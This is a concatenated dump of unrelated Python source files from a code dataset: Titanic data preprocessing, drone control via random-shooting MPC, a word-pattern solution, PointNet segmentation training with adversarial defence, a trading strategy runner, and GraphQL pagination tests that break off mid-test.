[u'simHei']\nmpl.rcParams['axes.unicode_minus'] = False\n\n\ndef set_train_missing_age(df: pd.DataFrame):\n \"\"\"\n 利用树回归来将缺失的age信息补充完整\n :param df:\n :return:\n \"\"\"\n age_df = df[[\"Age\", \"Fare\", \"Parch\", \"SibSp\", \"Pclass\"]]\n\n age_known = age_df[pd.notnull(age_df.Age)].as_matrix()\n age_unknown = age_df[pd.isnull(age_df.Age)].as_matrix()\n\n y = age_known[:, 0]\n x = age_known[:, 1:]\n\n rfr = RandomForestRegressor(random_state=0, n_estimators=2000, n_jobs=-1)\n rfr.fit(x, y)\n\n predict_age = rfr.predict(age_unknown[:, 1:])\n age_df_copy = df.copy()\n age_df_copy.loc[age_df_copy.Age.isnull(), \"Age\"] = predict_age\n return age_df_copy, rfr\n\n\ndef set_test_missing_age(df: pd.DataFrame, rfr):\n \"\"\"\n 利用树回归来将缺失的age信息补充完整\n :param df:\n :return:\n \"\"\"\n age_df = df[[\"Age\", \"Fare\", \"Parch\", \"SibSp\", \"Pclass\"]]\n age_unknown = age_df[pd.isnull(age_df.Age)].as_matrix()\n\n predict_age = rfr.predict(age_unknown[:, 1:])\n age_df_copy = df.copy()\n age_df_copy.loc[age_df_copy.Age.isnull(), \"Age\"] = predict_age\n return age_df_copy\n\n\ndef set_cabin(df: pd.DataFrame):\n df_copy = df.copy()\n df_copy.loc[df_copy[\"Cabin\"].notnull(), \"Cabin\"] = \"YES\"\n df_copy.loc[df_copy[\"Cabin\"].isnull(), \"Cabin\"] = \"NO\"\n return df_copy\n\n\ndef stander(data_set):\n dummies_Cabin = pd.get_dummies(data_set[\"Cabin\"], prefix=\"Cabin\")\n dummies_Embarked = pd.get_dummies(data_set[\"Embarked\"], prefix=\"Embarked\")\n dummies_Sex = pd.get_dummies(data_set[\"Sex\"], prefix=\"Sex\")\n dummies_Pclass = pd.get_dummies(data_set[\"Pclass\"], prefix=\"Pclass\")\n df = pd.concat([data_set, dummies_Cabin, dummies_Embarked, dummies_Sex, dummies_Pclass], axis=1)\n df.drop(['Pclass', 'Name', 'Sex', 'Ticket', 'Cabin', 'Embarked'], axis=1, inplace=True)\n\n scaler = preprocessing.StandardScaler()\n age_scaler_param = scaler.fit(df[\"Age\"].values.reshape(-1, 1))\n df[\"Age_Scalered\"] = scaler.fit_transform(df[\"Age\"].reshape(-1, 1))\n df.loc[df[\"Fare\"].isnull(), \"Fare\"] = df[\"Fare\"].mean()\n fare_scaler_param = scaler.fit(df[\"Fare\"].values.reshape(-1, 1))\n df[\"Fare_Scalered\"] = scaler.fit_transform(df[\"Fare\"].reshape(-1, 1), fare_scaler_param)\n df.drop(['Age', 'Fare'], axis=1, inplace=True)\n return df.as_matrix()\n\n\n# 1、筛选出预测错误的数据,看看有什么特征\n# train_set = pd.read_csv(\"train.csv\")\n# train_set = set_cabin(train_set)\n# train_set, model = set_train_missing_age(train_set)\n#\n# train_matrix = stander(train_set)\n#\n# split_train, split_cv = train_test_split(train_matrix, test_size=0.3, random_state=0) # 去掉PassengerId这个字段\n# clf = linear_model.LogisticRegression(C=1.0, penalty=\"l1\", tol=1e-6)\n# clf.fit(split_train[:, 2:], split_train[:, 1])\n#\n# predictions = clf.predict(split_cv[:, 2:])\n#\n# origin_train_set = pd.read_csv(\"train.csv\")\n# result = origin_train_set.loc[origin_train_set[\"PassengerId\"].isin(split_cv[predictions != split_cv[:, 1]][:, 0])]\n# print(result)\n\n\n# 2、做交叉验证看得分\n# clf = linear_model.LogisticRegression(C=1.0, penalty=\"l1\", tol=1e-6)\n# print(cross_val_score(clf, x_train, y_train, cv=5))\n\n\n# 3、预测test数据得到结果\n# train_set = pd.read_csv(\"train.csv\")\n# train_set = set_cabin(train_set)\n# train_set, model = set_train_missing_age(train_set)\n#\n# train_matrix = stander(train_set)\n#\n# train_matrix.drop([\"PassengerId\"], axis=1, inplace=True)\n# y_train = train_matrix[:, 0]\n# x_train = train_matrix[:, 1:]\n\n# test_set = pd.read_csv(\"test.csv\")\n# test_set = set_cabin(test_set)\n# test_set = set_test_missing_age(test_set, model)\n#\n# test_matrix = stander(test_set)\n# test_matrix.drop([\"PassengerId\"], axis=1, inplace=True)\n#\n# x_test = test_matrix[:, :]\n#\n# clf = linear_model.LogisticRegression(C=1.0, penalty=\"l1\", tol=1e-6)\n\n# clf.fit(x_train, y_train)\n# predictions = clf.predict(x_test)\n\n# result = pd.DataFrame({\"PassengerId\": test_set[\"PassengerId\"].as_matrix(), \"Survived\": predictions.astype(np.int32)})\n# print(result)\n# result.to_csv(\"result.csv\", index=False)\n\n\n\n\n\n\n\n\n\n","sub_path":"kaggle/titanic/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"451778863","text":"import math\nimport numpy as np\nfrom scipy.signal import lfilter\nimport gym\nimport gnwrapper\nfrom cpprb import ReplayBuffer\nimport torch\nfrom torch import nn\n\nfrom stable_baselines3 import A2C\nfrom stable_baselines3.a2c import MlpPolicy\nfrom stable_baselines3.common.env_checker import check_env\n\nfrom gym_pybullet_drones.utils.Logger import Logger\nfrom gym_pybullet_drones.envs.single_agent_rl.TakeoffAviary import TakeoffAviary\nfrom gym_pybullet_drones.utils.utils import sync, str2bool\n\nimport os\nimport datetime\n\nfrom RS_train import DynamicsModel, reward_fn, RandomPolicy, parse_obses\n\n\ndef random_shooting(init_obs, n_mpc_episodes=128, horizon=50):\n init_actions = policy.get_actions(batch_size=n_mpc_episodes)\n returns = np.zeros(shape=(n_mpc_episodes,))\n obses = np.tile(init_obs, (n_mpc_episodes, 1))\n # obses = np.tile(np.concatenate([ang, gyr], axis=1), (n_mpc_episodes, 1))\n\n # horizon分未来まで予測\n for i in range(horizon):\n # 行動の生成。最初のステップ目の時のみ上記 init_actions を使う(上書きしない)\n acts = init_actions if i == 0 else policy.get_actions(\n batch_size=n_mpc_episodes)\n\n # ダイナミクスモデルを用いた次状態の予測\n next_obses = predict_next_state(obses, acts)\n # next_obses は z ang gyr しか意味を持ってない(モデルはx y vel を予測しない)\n\n # 報酬は事前に定義した報酬関数を用いる\n rewards, _, _, _, _ = reward_fn(obses, acts)\n returns += rewards\n obses = next_obses\n\n # 最も累積報酬が高かった最初の行動を返す\n return init_actions[np.argmax(returns)]\n\n\ndef predict_next_state(obses, acts):\n assert obses.shape[0] == acts.shape[0] and obses.shape[1] == 12\n pos, ang, vel, gyr = parse_obses(obses)\n # ダイナミクスモデルへの入力は状態と行動の Concata\n inputs = np.concatenate([pos[:, 2, np.newaxis], ang, gyr, acts], axis=1)\n inputs = torch.from_numpy(inputs).float()\n\n # ダイナミクスモデルの出力は次の状態と現在の状態との差分\n obs_diffs = dynamics_model.predict(inputs).data.numpy()\n batch = obs_diffs.shape[0]\n obs_diffs = np.concatenate([np.zeros((batch, 2)), obs_diffs[:, 0:4], # z roll pitch yaw\n np.zeros((batch, 3)), obs_diffs[:, 4:7]], axis=1)\n assert obses.shape == obs_diffs.shape\n next_obses = obses + obs_diffs\n return next_obses\n\n\nif __name__ == \"__main__\":\n checkpoint = torch.load(\n \"/home/takeshi/gym-pybullet-drones/my_codes/RS_sparse_height/models/colab_0317_19:55/1150.pt\")\n # dynamics_model = checkpoint[\"model_object\"]\n dynamics_model = DynamicsModel(11, 7, checkpoint[\"model_hyper_params\"])\n dynamics_model.model.load_state_dict(checkpoint[\"model_params\"])\n episode_max_steps = checkpoint[\"episode_max_steps\"]\n\n env = gym.make(\"takeoff-aviary-v0\",\n initial_xyzs=[[0.0, 0.0, 0.0]], gui=True)\n\n num_trial = 5\n policy = RandomPolicy(\n max_action=env.action_space.high[0],\n act_dim=env.action_space.high.size)\n\n for episode_idx in range(num_trial):\n total_rew = 0.\n total_angle_c = 0.\n total_gyro_c = 0.\n total_action_c = 0.\n total_height_c = 0.\n\n obs = env.reset()\n logger = Logger(logging_freq_hz=env.SIM_FREQ, num_drones=1)\n for i in range(episode_max_steps):\n\n # init obs.shape=(12, )\n assert len(obs.shape) == 1 and obs.shape[0] == 12\n # parse obses を使うためにバッチサイズ1の様に扱う\n batched_obs = obs.reshape((1, 12))\n\n # RSを使って1ステップだけ進める\n act = random_shooting(batched_obs)\n # act もバッチサイズ1の様に扱う\n assert len(act.shape) == 1 and act.shape[0] == 4\n batched_act = act.reshape((1, 4))\n next_obs, _, done, _ = env.step(act)\n logger.log(drone=0,\n timestamp=i/env.SIM_FREQ,\n state=np.hstack(\n [obs[0:3], obs[6:9], obs[3:6], obs[9:12], np.resize(act, (4))]),\n control=np.zeros(12))\n rewards, angle_c, gyro_c, action_c, height_c = reward_fn(\n batched_obs, batched_act)\n total_rew += rewards\n total_angle_c += angle_c\n total_gyro_c += gyro_c\n total_action_c += action_c\n total_height_c += height_c\n if done:\n break\n obs = next_obs\n print(\"total reward: {}\".format(total_rew[0]))\n print(\"angle: {0: 4.4f} gyro: {1: 4.4f} action: {2: 4.4f} height: {3: 4.4f}\".format(\n total_angle_c[0], total_gyro_c[0], total_action_c[0], total_height_c[0]))\n logger.save()\n logger.plot()\n","sub_path":"my_codes/RS_smooth_height/RS_predict.py","file_name":"RS_predict.py","file_ext":"py","file_size_in_byte":4899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"189752965","text":"# O(N) TIME AND O(N) SPACE WHERE N IS LEN(PATTERN) OR LEN(S)\nclass Solution:\n def wordPattern(self, pattern: str, s: str) -> bool:\n words = s.split(\" \")\n if len(pattern) != len(words):\n return False\n mappings = {}\n used_words = set()\n for i in range(len(pattern)):\n if pattern[i] not in mappings:\n if words[i] in used_words:\n return False\n mappings[pattern[i]] = words[i]\n used_words.add(words[i])\n else:\n if mappings[pattern[i]] != words[i]:\n return False\n return True","sub_path":"word_pattern.py","file_name":"word_pattern.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"486756098","text":"from jmetal.core.observable import DefaultObservable\nfrom jmetal.operator import PolynomialMutation, BitFlipMutation\nfrom jmetal.util.solution_list import RandomGenerator\nfrom jmetal.util.solution_list import SequentialEvaluator\nfrom jmetal.util.termination_criterion import StoppingByEvaluations\n\n\nclass _Store(object):\n\n def __init__(self):\n super(_Store, self).__init__()\n self.default_observable = DefaultObservable()\n self.default_evaluator = SequentialEvaluator()\n self.default_generator = RandomGenerator()\n self.default_termination_criteria = StoppingByEvaluations(max=25000)\n self.default_mutation = {\n 'real': PolynomialMutation(probability=0.15, distribution_index=20),\n 'binary': BitFlipMutation(0.15)\n }\n\n\nstore = _Store()\n","sub_path":"jmetal/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"633939794","text":"import argparse\nimport os\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.utils.data import DataLoader\nfrom torch.utils.tensorboard import SummaryWriter\nfrom tqdm import tqdm\n\nfrom data_processing import datasets\nfrom pointnet import attacks\nfrom pointnet.segmentation_model import PointNetSegmentation\nfrom util import logging\nfrom util.math import set_random_seed, logits_to_category, mean_point_iou, DEFAULT_SEED\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--out', type=str, required=True, help='path of output directory')\nparser.add_argument('--dataset', type=str, default='shapenet', help='the dataset to use', choices=['shapenet'])\nparser.add_argument('--batch_size', type=int, default=32, help='mini-batch size')\nparser.add_argument('--epochs', type=int, default=200, help='number of epochs to train for')\nparser.add_argument('--num_points', type=int, default=1024, help='number of points per point cloud')\nparser.add_argument('--seed', type=int, default=DEFAULT_SEED, help='seed for random number generator')\nparser.add_argument('--ignore_existing_output_dir', action='store_true', help='ignore if output dir exists')\nparser.add_argument('--num_workers', type=int, default=4, help='number of parallel data loader workers')\nparser.add_argument('--defense', action='store_true', help='use adversarial training')\nparser.add_argument('--eps', type=float, default=0.02, help='radius of eps-box to defend around point')\nparser.add_argument('--step_size', type=float, default=None, help='step size for FGSM')\nparser.add_argument('--lr', type=float, default=0.001, help='optimizer learning rate')\nparser.add_argument('--max_features', type=int, default=1024, help='the number of features for max pooling')\nparser.add_argument('--pooling', choices=['max', 'avg', 'sum'], default='max', help='global pooling function')\nparser.add_argument('--rotation', choices=['none', 'z', 'so3'], default='z', help='Axis for rotation augmentation')\n\nsettings = parser.parse_args()\n\nsettings.device = 'cuda' if torch.cuda.is_available() else 'cpu'\nsettings.out = os.path.join('out', settings.out)\nsettings.dataset = os.path.join('data', settings.dataset)\nif not settings.step_size:\n settings.step_size = 1.25 * settings.eps\n\nos.makedirs(settings.out, exist_ok=settings.ignore_existing_output_dir)\n\nlog_name = f\"train_defended[{settings.defense}]_eps[{settings.eps}]_rotation[settings.rotation]_pooling[{settings.pooling}]\"\nlogger = logging.create_logger(settings.out, log_name)\n\nlogger.info(settings)\n\nwriter = SummaryWriter(log_dir=settings.out)\n\nset_random_seed(settings.seed)\n\ntrain_data = datasets.shapenet(num_points=settings.num_points, split='train', rotate=settings.rotation)\ntest_data = datasets.shapenet(num_points=settings.num_points, split='test', rotate='none')\n\ntrain_loader = DataLoader(\n dataset=train_data,\n batch_size=settings.batch_size,\n shuffle=True,\n num_workers=settings.num_workers\n)\ntest_loader = DataLoader(\n dataset=test_data,\n batch_size=settings.batch_size,\n shuffle=False,\n num_workers=settings.num_workers\n)\n\nprint(\"Train Size: \", len(train_data))\nprint(\"Test Size: \", len(test_data))\nprint(\"Total Size: \", len(test_data) + len(train_data))\n\nnum_batches = len(train_data) / settings.batch_size\nlogger.info(\"Number of batches: %d\", num_batches)\nlogger.info(\"Number of classes: %d\", train_data.num_classes)\nlogger.info(\"Training set size: %d\", len(train_data))\nlogger.info(\"Test set size: %d\", len(test_data))\n\nmodel = PointNetSegmentation(\n number_points=settings.num_points,\n num_seg_classes=50\n)\nprint(model)\n\nmodel = model.to(settings.device)\n\nobjective = nn.CrossEntropyLoss()\noptimizer = optim.Adam(model.parameters(), lr=settings.lr, betas=(0.9, 0.999))\nscheduler = optim.lr_scheduler.StepLR(optimizer, step_size=20, gamma=0.5)\n\nlogger.info(\"starting training\")\n\nfor epoch in range(settings.epochs):\n\n train_correct = 0\n train_amount = 0\n train_loss = 0\n\n for i, data in enumerate(tqdm(train_loader)):\n points, label = data\n points: torch.Tensor = points.float().to(settings.device)\n label: torch.Tensor = label.to(settings.device)\n\n if settings.defense:\n if settings.domain == \"box\":\n domain = attacks.EpsBox(points, settings.eps)\n else:\n assert False, f\"Unsupported domain {settings.domain}\"\n\n model.eval()\n points = domain.random_point()\n points = attacks.fgsm(model, points, label, step_size=settings.step_size)\n points = domain.project(points)\n\n model.train()\n optimizer.zero_grad()\n\n predictions = model(points)\n loss = objective(predictions, label)\n loss.backward()\n optimizer.step()\n\n max_predictions = predictions.data.max(1)[1]\n correct = max_predictions.eq(label.data).float().mean(1).cpu().sum()\n train_correct += correct.item()\n train_amount += points.size()[0]\n train_loss += loss.item()\n\n test_correct = 0.0\n test_iou = 0.0\n test_amount = 0.0\n test_loss = 0.0\n\n for i, data in enumerate(test_loader):\n points, label = data\n points = points.to(settings.device)\n label = label.to(settings.device)\n\n model = model.eval()\n predictions = model(points)\n loss = objective(predictions, label)\n test_loss += loss.item()\n\n for j in range(predictions.size(0)):\n logits = predictions[j].cpu().detach().numpy()\n expected = label[j].cpu().detach().numpy()\n predicted_category = logits_to_category(logits, expected)\n percentage_correct = np.mean(predicted_category == expected)\n test_correct += percentage_correct\n mean_iou = mean_point_iou(predicted_category, expected)\n test_iou += mean_iou\n test_amount += 1\n\n logger.info(\n \"Epoch {epoch}: train loss: {train_loss}, train accuracy: {train_accuracy}, test loss: {test_loss}, test accuracy: {test_accuracy}, test iou {test_iou}\".format(\n epoch=epoch,\n train_loss=train_loss,\n train_accuracy=train_correct / train_amount,\n test_loss=test_loss,\n test_accuracy=test_correct / test_amount,\n test_iou=test_iou / test_amount,\n )\n )\n\n writer.add_scalar('accuracy/train', train_correct / train_amount, epoch)\n writer.add_scalar('loss/train', train_loss / train_amount, epoch)\n writer.add_scalar('accuracy/test', test_correct / test_amount, epoch)\n writer.add_scalar('loss/test', test_loss / test_amount, epoch)\n\n scheduler.step()\n\ntorch.save(model.state_dict(), os.path.join(settings.out, \"model.pth\"))\nlogger.info(\"finished training\")\n","sub_path":"train_segmentation.py","file_name":"train_segmentation.py","file_ext":"py","file_size_in_byte":6763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"598525443","text":"'''\n@author: 魏佳斌\n@license: (C) Copyright 2018-2025, ailabx.com.\n\n@contact: 86820609@qq.com\n@file: main.py\n@time: 2018-10-22 17:46\n@desc:\n\n'''\nimport os\nfrom quant.engine.trading_env import TradingEnv\nfrom quant.engine.datafeed import DataFeed\nfrom quant.engine.algos import *\n\ndef main():\n path = os.path.abspath(os.path.join(os.getcwd(), \"quant/data\"))\n feed = DataFeed(data_path=path)\n feed.download_or_get_data(['AAPL', ], 2006, 2006)\n\n buy_and_hold = Strategy([\n RunOnce(),\n PrintBar(),\n SelectAll(),\n WeighEqually(),\n ], name='买入并持有-基准策略')\n\n long_expr = 'cross_up(ma(close,5),ma(close,10))'\n flat_expr = 'cross_down(ma(close,5),ma(close,10))'\n ma_cross = Strategy([\n SelectByExpr(long_expr=long_expr, flat_expr=flat_expr),\n WeighEqually(),\n ], name='均线交叉策略')\n\n env_benchmark = TradingEnv(strategy=buy_and_hold, feed=feed)\n env_benchmark.run_strategy()\n\n env = TradingEnv(strategy=ma_cross, feed=feed)\n env.run_strategy()\n\n bench_stats = env_benchmark.get_statistics()\n stra_stats = env.get_statistics()\n\n stats = [bench_stats, stra_stats]\n\n from quant.engine.trading_env import EnvUtils\n\n utils = EnvUtils(stats=stats)\n utils.show_stats()\n\nif __name__ == '__main__':\n main()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"296265474","text":"import pytest\nimport base64\nfrom graphene import relay\nfrom typing import List, Optional, Sequence, Iterator, Union, overload, Dict\nfrom typing_extensions import TypedDict\nfrom dataclasses import replace, dataclass\n\nfrom pytest_mock import MockFixture\nfrom graphql_relay.connection.arrayconnection import offset_to_cursor\n\nfrom note.winamp.service import NoteService\nfrom note.mldb.session import Session, create_session\nfrom note.mldb.models import PlaylistModel\nfrom note.slice.proxy import AbstractMappedSequenceSliceProxy\nfrom note.slice.page_slice import QuerySlice\nfrom note_graphql.types import ExecuteRequest\nfrom note_graphql.schema import schema, create_schema\nfrom note_graphql.schema.media_items.queries import MediaItem\nfrom note_graphql.schema.playlists.queries import PlaylistTrack\nfrom note_graphql.search import fragments\n\n\ndef get_node_id(node_id: str, assert_type: str) -> int:\n _type, id_str = base64.b64decode(node_id).decode('latin-1').split(':')\n assert _type == assert_type\n return int(id_str)\n\n\ndef create_node_id(object_id: int, _type: str) -> str:\n return base64.b64encode(f'{_type}:{object_id}'.encode('latin-1')).decode('latin-1')\n\n\ndef create_request_template(note_service: NoteService) -> ExecuteRequest:\n return ExecuteRequest(\n request_string='',\n operation_name=None,\n variables=None,\n note_service=note_service,\n search_service=None,\n max_edges=100,\n )\n\n\n@pytest.fixture(scope='class')\ndef remote_request(remote_note_service: NoteService) -> ExecuteRequest:\n remote_note_service.sync()\n remote_note_service.ml_service.mldb.session.commit()\n return create_request_template(remote_note_service)\n\n\n@pytest.fixture(scope='class')\ndef local_request(note_service: NoteService) -> ExecuteRequest:\n note_service.sync()\n note_service.ml_service.mldb.session.commit()\n return create_request_template(note_service)\n\n\n@pytest.fixture(scope='function')\ndef db_session() -> Session:\n return create_session('sqlite:///:memory:')\n\n\n@pytest.mark.parametrize(\n 'set_size, page_size,'\n 'qslice,'\n 'expect_first, expect_last,'\n 'expect_has_prev,expect_has_next,'\n 'expect_offset, expect_limit',\n [\n (10, 10, QuerySlice(), 0, 9, False, False, 0, 10),\n (10, 20, QuerySlice(), 0, 9, False, False, 0, 10),\n (10, 2, QuerySlice(), 0, 1, False, True, 0, 2),\n\n (10, 10, QuerySlice(first=5), 0, 4, False, True, 0, 5),\n (10, 20, QuerySlice(first=20), 0, 9, False, False, 0, 10),\n (10, 2, QuerySlice(first=2), 0, 1, False, True, 0, 2),\n\n (10, 10, QuerySlice(first=4, after=3), 4, 7, True, True, 4, 4),\n (10, 2, QuerySlice(first=4, after=3), 4, 5, True, True, 4, 2),\n (10, 5, QuerySlice(first=5, after=4), 5, 9, True, False, 5, 5),\n (10, 5, QuerySlice(first=5, after=6), 7, 9, True, False, 7, 3),\n (0, 10, QuerySlice(), None, None, False, False, 0, 0),\n (1, 10, QuerySlice(), 0, 0, False, False, 0, 1),\n (0, 10, QuerySlice(first=10), None, None, False, False, 0, 0),\n\n (10, 10, QuerySlice(last=5), 5, 9, True, False, 5, 5),\n (10, 20, QuerySlice(last=20), 0, 9, False, False, 0, 10),\n (10, 2, QuerySlice(last=2), 8, 9, True, False, 8, 2),\n\n (10, 10, QuerySlice(last=4, before=3), 0, 2, False, True, 0, 3),\n (10, 2, QuerySlice(last=4, before=3), 1, 2, True, True, 1, 2),\n (10, 5, QuerySlice(last=5, before=4), 0, 3, False, True, 0, 4),\n (10, 5, QuerySlice(last=5, before=6), 1, 5, True, True, 1, 5),\n (0, 10, QuerySlice(last=10), None, None, False, False, 0, 0),\n ],\n ids=[\n 'set_10-page_10',\n 'set_10-page_20',\n 'set_10-page_2',\n\n 'set_10-page_10-first_5',\n 'set_10-page_20-first_20',\n 'set_10-page_2-first_2',\n\n 'set_10-page_10-first_4-after_3',\n 'set_10-page_2-first_4-after_3',\n 'set_10-page_5-first_5-after_4',\n 'set_10-page_5-first_5-after_6',\n 'set_0-page_10',\n 'set_1-page_10',\n 'set_0-page_10-first_10',\n\n 'set_10-page_10-last_5',\n 'set_10-page_20-last_20',\n 'set_10-page_2-last_2',\n\n 'set_10-page_10-last_4-before_3',\n 'set_10-page_2-last_4-before_3',\n 'set_10-page_5-last_5-before_4',\n 'set_10-page_5-last_5-before_6',\n 'set_0-page_10-last_10',\n ],\n)\ndef test_slice_utils(\n mocker: MockFixture,\n db_session: Session,\n page_size: int,\n set_size: int,\n qslice: QuerySlice,\n expect_last: Optional[int], expect_first: Optional[int],\n expect_has_next: bool, expect_has_prev: bool,\n expect_offset: int, expect_limit: int,\n) -> None:\n query = db_session.query(PlaylistModel)\n\n # query.count = mocker.Mock(side_effect=set_size)\n mocker.patch.object(query, 'count', return_value=set_size)\n mocker.spy(query, 'limit')\n mocker.spy(query, 'offset')\n\n info = qslice.slice(query, page_size)\n assert expect_first == info.first_index\n assert expect_last == info.last_index\n assert expect_has_next == info.has_next_slice\n assert expect_has_prev == info.has_prev_slice\n\n query.offset.assert_called_once_with(expect_offset) # type: ignore\n query.limit.assert_called_once_with(expect_limit) # type: ignore\n\n\n@pytest.mark.parametrize(\n 'start, end, expect',\n [\n (0, 5, list(range(0, 5))),\n (3, 5, list(range(3, 5))),\n (0, 10, list(range(0, 10))),\n (5, 10, list(range(5, 10))),\n ],\n ids=['0-5', '3-5', '0-10', '5-10'],\n)\ndef test_slice_proxy(start: int, end: int, expect: List[int]) -> None:\n class SomeLimitedSlicable(Sequence[str]):\n def __init__(self, start: int, end: int) -> None:\n self.start = start\n self.end = end\n\n def _get_item(self, i: int) -> str:\n return f'wavey-{i}'\n\n def __iter__(self) -> Iterator[str]:\n for i in range(self.start, self.end):\n yield self._get_item(i)\n\n @overload\n def __getitem__(self, item: int) -> str: ...\n @overload\n def __getitem__(self, item: slice) -> Sequence[str]: ...\n\n def __getitem__(self, item: Union[slice, int]) -> Union[Sequence[str], str]:\n if isinstance(item, int):\n assert self.start <= item < self.end\n return self._get_item(item)\n assert item.start is not None\n assert item.start >= self.start\n assert item.stop is not None\n assert item.stop <= self.end\n assert item.step is None\n assert item.start <= item.stop\n return SomeLimitedSlicable(item.start, item.stop)\n\n def __len__(self) -> int:\n return self.end - self.start\n\n class LimitedSliceProxy(AbstractMappedSequenceSliceProxy[str, int]):\n def map_item(self, old: str) -> int:\n return int(old[6:])\n\n proxy = LimitedSliceProxy(SomeLimitedSlicable(0, 10))\n\n assert list(proxy[start:end]) == expect\n\n\n@pytest.mark.parametrize('_request', [\n pytest.lazy_fixture('remote_request'),\n pytest.lazy_fixture('local_request'),\n], ids=['remote', 'local'])\ndef test_getting_playlist_node(\n _request: ExecuteRequest,\n) -> None:\n request: ExecuteRequest\n\n for playlist in _request.note_service.get_all_playlists()[:3]:\n encoded_id = f'Playlist:{playlist.playlist_id}'.encode('latin-1')\n request = replace(_request,\n request_string=\"\"\"\n query GetPlaylistNodeTest {\n node(id: \"[id]\") {\n __typename\n ... on Playlist {\n id\n title\n filename\n playlistIndex\n }\n }\n }\n \"\"\".replace('[id]', base64.b64encode(encoded_id).decode('latin-1'))\n )\n\n result = schema.execute(**request.to_execute_args())\n assert not result.errors\n\n assert result.data['node']['__typename'] == 'Playlist'\n assert result.data['node']['title'] == playlist.title\n assert base64.b64decode(result.data['node']['id']) == encoded_id\n assert result.data['node']['filename'] == playlist.filename\n assert result.data['node']['playlistIndex'] == playlist.playlist_index\n\n\n@pytest.mark.parametrize('_request', [\n pytest.lazy_fixture('remote_request'),\n pytest.lazy_fixture('local_request'),\n], ids=['remote', 'local'])\n@pytest.mark.parametrize(\n 'first, after, last, before,'\n 'expect_first, expect_last, expect_prev, expect_next',\n [\n # TODO: Relay, I think, for a reason (possibly performance) will not let you 'reverse'\n # pagination directions. So if you're sliced in the middle of a set and you have edges\n # before and ahead of you but you arrived at your slice using 'after' (or just first) pagination argument\n # then pageInfo will have hasNextPage be true until you're at the end of the set, but\n # hasPreviousPage will always be false, and vice versa.\n (3, None, None, None, 0, 2, False, True),\n (None, None, 3, None, -3, -1, True, False),\n (3, 4, None, None, 5, 7, False, True),\n\n (0, None, None, None, None, None, False, True),\n (0, 4, None, None, None, None, False, True),\n (None, None, 0, None, None, None, True, False),\n (None, None, 0, 7, None, None, True, False),\n ],\n ids=[\n 'first-3',\n 'last-3',\n 'first-3_after-4',\n 'first-0',\n 'first-0_after_4',\n 'last-0',\n 'last-0_before_7',\n ],\n)\ndef test_getting_playlists(\n _request: ExecuteRequest,\n first: Optional[int], after: Optional[int],\n last: Optional[int], before: Optional[int],\n expect_first: Optional[int], expect_last: Optional[int],\n expect_prev: bool, expect_next: bool,\n) -> None:\n request: ExecuteRequest = replace(_request,\n request_string=\"\"\"\n query GetAllPlaylistsTestQuery(\n $first: Int\n $last: Int\n $before: String\n $after: String\n ) {\n playlist {\n playlists(\n first: $first\n last: $last\n before: $before\n after: $after\n ){\n pageInfo {\n hasNextPage\n hasPreviousPage\n startCursor\n endCursor\n }\n edges {\n cursor\n node {\n id\n title\n filename\n playlistIndex\n }\n }\n }\n }\n }\n \"\"\",\n variables={\n 'after': None if after is None else (\n base64.b64encode(f'arrayconnection:{after}'\n .encode('latin-1'))\n .decode('latin-1')),\n 'before': None if before is None else (\n base64.b64encode(f'arrayconnection:{before}'\n .encode('latin-1'))\n .decode('latin-1')),\n 'first': first,\n 'last': last,\n }\n )\n\n result = schema.execute(**request.to_execute_args())\n assert not result.errors\n\n edges = result.data['playlist']['playlists']['edges']\n\n assert first is None or first == len(edges)\n assert last is None or last == len(edges)\n\n all_playlists = list(_request.note_service.get_all_playlists())\n\n if expect_last is not None and expect_last < 0:\n expect_last = len(all_playlists) + expect_last\n\n if expect_first is not None and expect_first < 0:\n expect_first = len(all_playlists) + expect_first\n\n page_info = result.data['playlist']['playlists']['pageInfo']\n\n if expect_first is not None:\n _, page_first = base64.b64decode(page_info['startCursor']).decode('latin-1').split(':', maxsplit=1)\n assert expect_first == int(page_first)\n else:\n assert page_info['startCursor'] is None\n\n if expect_last is not None:\n _, page_last = base64.b64decode(page_info['endCursor']).decode('latin-1').split(':', maxsplit=1)\n assert expect_last == int(page_last)\n else:\n assert page_info['endCursor'] is None\n\n assert expect_prev == page_info['hasPreviousPage']\n assert expect_next == page_info['hasNextPage']\n\n for pl_edge in edges:\n _, pl_index_str = base64.b64decode(pl_edge['cursor']).decode('latin-1').split(':', maxsplit=1)\n source_pl = all_playlists[int(pl_index_str)]\n pl_node = pl_edge['node']\n\n assert base64.b64decode(pl_node['id']).decode('latin-1') == f'Playlist:{source_pl.playlist_id}';\n assert pl_node['title'] == source_pl.title\n assert pl_node['filename'] == source_pl.filename\n assert pl_node['playlistIndex'] == source_pl.playlist_index\n\n\n@pytest.mark.parametrize('_request', [\n pytest.lazy_fixture('remote_request'),\n pytest.lazy_fixture('local_request'),\n], ids=['remote', 'local'])\n@pytest.mark.parametrize('page_size', [\n 2, 4, 10\n])\ndef test_playlist_forward_pagination(\n _request: ExecuteRequest,\n page_size: int,\n) -> None:\n last_cursor: Optional[str] = None\n all_playlists = list(_request.note_service.get_all_playlists())\n\n pl_len = len(all_playlists)\n\n for index in range(0, pl_len, page_size):\n end_index = max(min(index + page_size, pl_len), 0)\n\n assert_range = all_playlists[index:end_index]\n\n request: ExecuteRequest = replace(\n _request,\n request_string='''\n query PlaylistPaginationQueryTest($after: String, $first: Int) {\n playlist {\n playlists(\n first: $first\n after: $after\n ) {\n pageInfo {\n hasNextPage\n hasPreviousPage\n startCursor\n endCursor\n }\n edges {\n cursor\n node {\n id\n title\n filename\n playlistIndex\n }\n }\n }\n }\n }\n ''',\n variables={\n 'after': last_cursor,\n 'first': page_size,\n },\n )\n\n result = schema.execute(**request.to_execute_args())\n\n assert not result.errors\n\n 